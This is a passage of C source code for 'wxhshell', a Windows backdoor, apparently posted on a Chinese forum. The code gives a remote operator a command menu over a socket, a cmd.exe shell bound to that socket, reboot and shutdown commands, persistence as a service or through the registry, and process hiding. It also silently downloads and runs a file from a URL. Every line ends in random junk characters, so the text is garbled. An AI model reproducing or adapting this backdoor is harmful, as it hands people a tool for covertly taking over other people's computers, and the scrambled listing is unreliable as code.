    switch(cmd[0]) { 9"sDm}5%  
  o }@n>R  
  // 帮助 f9TV%fG?  
  case '?': { ^# e~g/  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); xx8U$,Ng  
    break; :reTJQwr  
  } Zb''mf\  
  // 安装 g4&jo_3:p  
  case 'i': { $-vo}k%M  
    if(Install()) .L;@=Yg )  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ,EEPh>cXc  
    else Qw)9r{f  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); bJ3(ckhq  
    break; #c Kqnk  
    } R,Oe$J<  
  // 卸载 {6 .o=EyM{  
  case 'r': { \cuS>G  
    if(Uninstall()) } /:\U p  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Yrn"saVc,  
    else F}X0',   
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); vtxvS3   
    break; 2KI!af[I  
    } ]hTb@.  
  // 显示 wxhshell 所在路径 l@~LV}BI  
  case 'p': { 3HiFISA*  
    char svExeFile[MAX_PATH]; YQ(Po!NI\'  
    strcpy(svExeFile,"\n\r"); 2t1I3yA'{z  
      strcat(svExeFile,ExeFile); `/Y+1 aD  
        send(wsh,svExeFile,strlen(svExeFile),0); q'S =Eav8  
    break; cd.brM  
    } Z1,gtl ?  
  // 重启 Hs0pW5oZ  
  case 'b': { >q7 %UK]&  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); p!W[X%`)  
    if(Boot(REBOOT)) c-CYdi@  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); KN[d!}W:  
    else { :q+N&j'3  
    closesocket(wsh); uS5o?fg\e  
    ExitThread(0); j9y3hQ+q  
    } ?IYY'fS"  
    break; $L}aQlA1JM  
    } |3eGz%Sd  
  // 关机 OXhAha`R  
  case 'd': { |)U|:F/{@  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); ~OFvu}]  
    if(Boot(SHUTDOWN)) MagMZR  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); G?hK9@ |v  
    else { h##WA=1QZ  
    closesocket(wsh); U/w.M_S  
    ExitThread(0); -{g~TUz  
    } <GIwRVCU  
    break; &__DJ''+  
    } 0SV\{]2  
  // 获取shell `  2%6V)s  
  case 's': { ,x_Z JL  
    CmdShell(wsh); K"{HseN{  
    closesocket(wsh); (> "QVxr  
    ExitThread(0); ^toAw8A=@0  
    break; :FQ1[X1 xm  
  } XZph%j0o  
  // 退出 sbsu(Sz+  
  case 'x': { V1bh|+o9  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); |V&G81sM  
    CloseIt(wsh); i|$z'HK;+  
    break; Ax<\jW<  
    } Z<z;L<tJ 9  
  // 离开 VOgi7\  
  case 'q': { R p.W,)i  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); eaZQ2  
    closesocket(wsh); 7 'w0  
    WSACleanup(); FJS'G^  
    exit(1); XGs^rIf  
    break; &Cro2|KZhG  
        } zg}YGu|J  
  } 1'KishHK=  
  } zV.pol  
Tz-X o  
  // 提示信息 }NmNanW^  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); |X(2Zv^O  
} /Jlv"R 1,  
  } ~1(j&&kXet  
-l*g~7|j  
  return; ae`|ic  
} ^Udv]Wh  
?&c:q3_-Z  
// shell模块句柄 jX */piSq  
int CmdShell(SOCKET sock) /oP^'""@je  
{ J)x3\[}Ye  
STARTUPINFO si; $aP(|!g  
ZeroMemory(&si,sizeof(si)); Kn}ub+ "J  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; M'5 'O;kn  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; :Ml7G  
PROCESS_INFORMATION ProcessInfo; l?E|R Kp  
char cmdline[]="cmd"; mP}#Ccji?  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); Np,2j KF(  
  return 0; KS<Jv;  
} xAdq+$><  
1(gfdx9|b  
// 自身启动模式 mN}7H:,  
int StartFromService(void) 6`e@$(dfA  
{ tS?lB05TOR  
typedef struct 5vOCCW  
{ }STYG`  
  DWORD ExitStatus; Fwfo2   
  DWORD PebBaseAddress; k*$3i  
  DWORD AffinityMask; Z[L5 ;  
  DWORD BasePriority; w G!u+  
  ULONG UniqueProcessId; b-<HXn_Fd  
  ULONG InheritedFromUniqueProcessId; W{Q)-y  
}   PROCESS_BASIC_INFORMATION; }DIF%}UK\  
=_d%=m  
PROCNTQSIP NtQueryInformationProcess; ClUSrSp  
>mm' -P  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; hx!7w}[A  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; (4+1lOd  
I$jvXl=$  
  HANDLE             hProcess; ijYvqZ_  
  PROCESS_BASIC_INFORMATION pbi;  .5Z_E O  
By((,QpB  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); "> 90E^  
  if(NULL == hInst ) return 0; t1i(;|8|  
[xaisXvI4  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); 46XN3r  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); T@ 48qg  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); q)I|2~Q c^  
hnxc`VX>g  
  if (!NtQueryInformationProcess) return 0; AR B7>"  
"yh Pm  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); ~"dhu]^  
  if(!hProcess) return 0;  ?J&)W,~  
+;gsRhWk  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; ?pwE0N^  
?0vNEz[  
  CloseHandle(hProcess); AU{:;%.g  
'"xiS$b(  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); 8;zDg$ (  
if(hProcess==NULL) return 0; SG'JE}jzO  
aG27%(@  
HMODULE hMod; ImkrV{,e  
char procName[255]; ]0 ~qi@  
unsigned long cbNeeded; 8T5k-HwE  
S@}4-\  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); dHII.=lT  
ycpE=fso'  
  CloseHandle(hProcess); }Ik1bkK  
Q,e*#oK3$  
if(strstr(procName,"services")) return 1; // 以服务启动 WZ~> BM  
|B[eJq  
  return 0; // 注册表启动 ( $d4:Ww  
} .W.;~`EW  
}~I|t!GL  
// 主模块 |*\C{b  
int StartWxhshell(LPSTR lpCmdLine) '}{?AUDx  
{ 0HibY[_PbD  
  SOCKET wsl; BQNp$]5s  
BOOL val=TRUE; `,#!C`E 9  
  int port=0; uHvaZMu  
  struct sockaddr_in door; bZ5n,KQA5  
MCy~@)-IN  
  if(wscfg.ws_autoins) Install(); 4rp6 C/i  
tOg=zXm   
port=atoi(lpCmdLine); v\0^mp  
gGfq6{9g  
if(port<=0) port=wscfg.ws_port; =/Juh7[C  
uqZ3Hyb  
  WSADATA data; Tg''1 Wl*  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; jnBC;I[:  
o)I/P<  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   Fd8hGj1  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); buY D l  
  door.sin_family = AF_INET; _s>^?x}  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); 3,$iG e  
  door.sin_port = htons(port); WU\m^!`w=F  
5gK~('9'?1  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { nCaLdj?  
closesocket(wsl); 5*j:K&R-.K  
return 1; NMXM[Ukb  
} vm}G[  
8/q*o>[?  
  if(listen(wsl,2) == INVALID_SOCKET) { =K'L|QKF  
closesocket(wsl); s[V `e2O  
return 1; l,y^HTc}7/  
} <\D Uo0]J  
  Wxhshell(wsl); GOr}/y;  
  WSACleanup(); VGJDqm!  
$u5.!{Wq?  
return 0; ,nYZxYLf+  
cU | _  
} !5.v'K'  
5 ,ZRP'oI  
// 以NT服务方式启动 g :i*O^c @  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) t)(v4^T  
{ 3o0IjZ=[>  
DWORD   status = 0; 1t2cY;vJ  
  DWORD   specificError = 0xfffffff; :,YLx9i>  
RV92qn B  
  serviceStatus.dwServiceType     = SERVICE_WIN32; wAz,vq=x  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; A-0m8<  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; o* _g$  
  serviceStatus.dwWin32ExitCode     = 0; 3yMt1 fy  
  serviceStatus.dwServiceSpecificExitCode = 0; 2np-Fc{S  
  serviceStatus.dwCheckPoint       = 0; <^sAY P|  
  serviceStatus.dwWaitHint       = 0; &kx\W)  
.tp=T  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); 7}07Pit  
  if (hServiceStatusHandle==0) return; e7|d=W  
sZm^&h;  
status = GetLastError(); $4h04_"  
  if (status!=NO_ERROR) ~UW{)]_jox  
{ Q9q9<J7j$  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; M6x;BjrV  
    serviceStatus.dwCheckPoint       = 0; Y[,U_GX/R  
    serviceStatus.dwWaitHint       = 0;  >fwlg-  
    serviceStatus.dwWin32ExitCode     = status; /cY[at|p  
    serviceStatus.dwServiceSpecificExitCode = specificError; opnkmM&[  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); Sy B-iQn  
    return; ^Kum%<[i  
  } UP*yeT,P,  
u[J7Y  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; Y-7.Vjt^  
  serviceStatus.dwCheckPoint       = 0; x`3. Wu\  
  serviceStatus.dwWaitHint       = 0; !Iko0#4i  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); v1K4$&{F  
} .m'N7`VB  
c8\g"T  
// 处理NT服务事件,比如:启动、停止 L]NYYP-  
VOID WINAPI NTServiceHandler(DWORD fdwControl) 3H <`Z4;  
{ gQCC>8  
switch(fdwControl) C=EhY+5  
{  qKx59  
case SERVICE_CONTROL_STOP: Oo$%Yh51~  
  serviceStatus.dwWin32ExitCode = 0; eo]a'J9(  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; N$ *>suQ,  
  serviceStatus.dwCheckPoint   = 0; #nDL  
  serviceStatus.dwWaitHint     = 0; Y?e3Bx7*b  
  { bZnDd  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); $"(3MnR  
  } -%N}A3m!5  
  return; rZ 6@b  
case SERVICE_CONTROL_PAUSE: jaNH](V  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; a6 * Y%?  
  break; {cX7<7N  
case SERVICE_CONTROL_CONTINUE: |:/ @t  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; 9XY|V<}  
  break; "$4hv6 s  
case SERVICE_CONTROL_INTERROGATE: GdL4|xv  
  break; B~e7w 4  
}; U(8I+xZ  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 25w6KBTe;:  
} _"`uqW79  
H8x:D3C0  
// 标准应用程序主函数 1=- X<M75  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) d`<#}-nh  
{ C`z;,!58%  
P@-R5GK  
// 获取操作系统版本 Mof)2Hbd:  
OsIsNt=GetOsVer(); 9EjjkJ%)q  
GetModuleFileName(NULL,ExeFile,MAX_PATH); HMFl/%z  
YU*46 hA1B  
  // 从命令行安装 r)(i{:@r`  
  if(strpbrk(lpCmdLine,"iI")) Install(); X%*brl$D  
_{3k+DQ  
  // 下载执行文件 =+k&&vOAn  
if(wscfg.ws_downexe) { [v~Uy$d\  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) dcM+ylB  
  WinExec(wscfg.ws_filenam,SW_HIDE); Z,(%v.d  
} 0FN~$+t)H  
aB7d(  
if(!OsIsNt) { _TV2)  
// 如果时win9x,隐藏进程并且设置为注册表启动 upZYv~Sa  
HideProc(); / *O u$  
StartWxhshell(lpCmdLine); av7q>NEZ!1  
} Vl&+/-V  
else he_HVRpB  
  if(StartFromService()) d#RF0,Y9  
  // 以服务方式启动 38OIFT  
  StartServiceCtrlDispatcher(DispatchTable); o&*1U"6D  
else   zd.1  
  // 普通方式启动 mJ7 `.  
  StartWxhshell(lpCmdLine); t=AE7  
|~Htj4K/  
return 0; LAOdH/*:  
}
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只看该作者 1 发表于: 2006-10-10
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